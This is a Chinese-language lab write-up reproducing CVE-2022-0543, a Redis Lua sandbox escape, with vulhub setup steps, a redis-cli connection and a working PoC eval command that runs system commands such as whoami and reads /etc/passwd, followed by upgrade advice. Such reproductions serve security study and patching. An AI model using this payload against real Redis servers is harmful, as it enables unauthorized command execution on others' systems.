Redis Lua沙盒绕过命令执行漏洞复现(CVE-2022-0543)

admin 2025年6月8日09:35:09评论23 views字数 920阅读3分4秒阅读模式

漏洞描述

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时,在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

影响版本

2.2 <= redis < 5.0.132.2 <= redis < 6.0.152.2 <= redis < 6.2.5安全版本Redis 6.2.5、6.0.15、5.0.13或更高版本

漏洞复现

靶场主机:192.168.153.129

攻击主机:192.168.153.133

环境搭建

利用docker搭建漏洞复现环境

靶场下载地址

https://github.com/vulhub/vulhub

拉取漏洞环境

cd /vulhub-master/redis/CVE-2022-0543

Redis Lua沙盒绕过命令执行漏洞复现(CVE-2022-0543)

攻击主机安装redis-cli工具

  apt-get update  apt-get install redis-server

如果安装失败,可参考:

https://blog.csdn.net/Fly_hps/article/details/102690282

Redis Lua沙盒绕过命令执行漏洞复现(CVE-2022-0543)

使用redis-cli进行redis连接

redis-cli -h 靶场主机 -p 6379

Redis Lua沙盒绕过命令执行漏洞复现(CVE-2022-0543)

利用poc验证

Poc如下

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0""luaopen_io"); local io = io_l(); local f = io.popen("whoami""r"); local res = f:read("*a"); f:close(); return res' 0

发送恶意代码,可以看到回显数据为执行命令id,pwd,cat /etc/passwd的内容

Redis Lua沙盒绕过命令执行漏洞复现(CVE-2022-0543)

修复建议

升级至Redis 6.2.56.0.155.0.13或更高版本。下载链接:https://github.com/redis/redis

原文始发于微信公众号(赛瑞攻防实验室):Redis Lua沙盒绕过命令执行漏洞复现(CVE-2022-0543)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月8日09:35:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Redis Lua沙盒绕过命令执行漏洞复现(CVE-2022-0543)http://cn-sec.com/archives/842662.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息